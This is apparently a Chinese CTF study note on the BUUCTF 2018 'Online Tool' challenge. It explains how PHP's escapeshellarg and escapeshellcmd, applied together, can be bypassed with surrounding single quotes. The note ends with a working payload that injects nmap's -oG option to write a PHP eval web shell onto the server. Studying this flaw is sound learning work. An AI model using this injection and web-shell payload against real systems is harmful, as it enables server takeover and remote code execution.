刷题笔记:escapeshellarg + escapeshellcmd 命令执行

疾風怒濤 生死流轉

今天把混沌武士看完了🥳

前置知识

记两个函数。

escapeshellarg

escapeshellarg — 把字符串转义为可以在 shell 命令里使用的参数

目的:确保传入 shell 函数的是一个字符串。

工作方式:给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号(非常拗口)。

举个例子

<?php
$cmd = "skyblu3's blog";
$cmd = escapeshellarg($cmd);
echo $cmd;      // 输出:'skyblu3'\''s blog'

在字符串的两端加了'。对字符串内部的'先用反斜杠转义,然后在其两端添加'连接。

escapeshellcmd

escapeshellcmd — shell 元字符转义

目的:对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。

工作方式:在一些敏感字符前添加\

敏感字符有:

&#;`|*?~<>^()[]{}$\
\x0A  \xFF
' 和 " 仅在不配对儿的时候被转义

[BUUCTF 2018]Online Tool

观察题目

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

XFF这里没有用,重点是host参数拼接的命令执行语句。

这里我能想到的两种利用方式:

  • 用命令分隔符执行命令。
  • 从nmap的参数上下手。

由于escapeshellcmd的存在,所有分隔符都会被转义。所以这条路几乎行不通。

那nmap有什么可以利用的参数吗?有,nmap的输出参数-oG-oN会出点问题)。输出的文件中除了会有nmap的扫描结果,还会记录这次查询的语句,同时也可以指定文件名。

这样就可以用nmap输出为一个.php文件,在查询的时候写上一句话木马即可。

构造查询:

nmap -T5 -sT -Pn --host-timeout 2 -F -oG skyblu3.php \<\?php @eval\(\$_POST\[shell\]\)\;\?\>

因为 escapeshellcmd 会帮我们把一句话里的敏感字符转义,所以我们直接输入:-oG skyblu3.php <?php @eval($_POST[shell]);?>就可以写入我们的文件了,吗?

可以看下这串字符出在经过这两个函数的处理后变成了什么:

<?php
$host = '-oG skyblu3.php <?php eval($_POST[shell]);?>';
$host = escapeshellarg($host);  
$host = escapeshellcmd($host);   
echo "nmap -T5 -sT -Pn --host-timeout 2 -F ".$host;
// 输出:nmap -T5 -sT -Pn --host-timeout 2 -F '-oG skyblu3.php \<\?php eval\(\$_POST\[shell\]\)\;\?\>'

敏感字符转义确实帮大忙了,但是字符串却被单引号所包裹。这样构造的-oG就不会被解析为输出文件,整个字符串仅仅作为了一个参数被拼接。

escapeshellarg + escapeshellcmd组合绕过

简化下上面的表示,把-oG后面的内容用str表示,那我们想要的结果就是-oG str直接被当作nmap的一个运行选项拼接。

绕过的方式很简单,只需要在传入的字符串前后加个单引号。也就是传入' -oG str ',看看这一过程会发生什么?

' -oG str '经过escapeshellarg的处理输出''\'' -oG str '\''',然后经过escapeshellcmd处理输出''\\'' -oG str '\\'''。神奇的事发生了,反斜杠被反斜杠转义,剩下的单引号两两组合成了空字符,于是最后组合出来的命令就变成了nmap -T5 -sT -Pn --host-timeout 2 -F \ -oG str \。这样就成功地将-oG选项从单引号中逃逸了出来。

最后的payload构造,写入shell文件。

?host=' -oG skyblu3.php <?php @eval($_POST[shell]);?> '

参考链接

https://paper.seebug.org/164/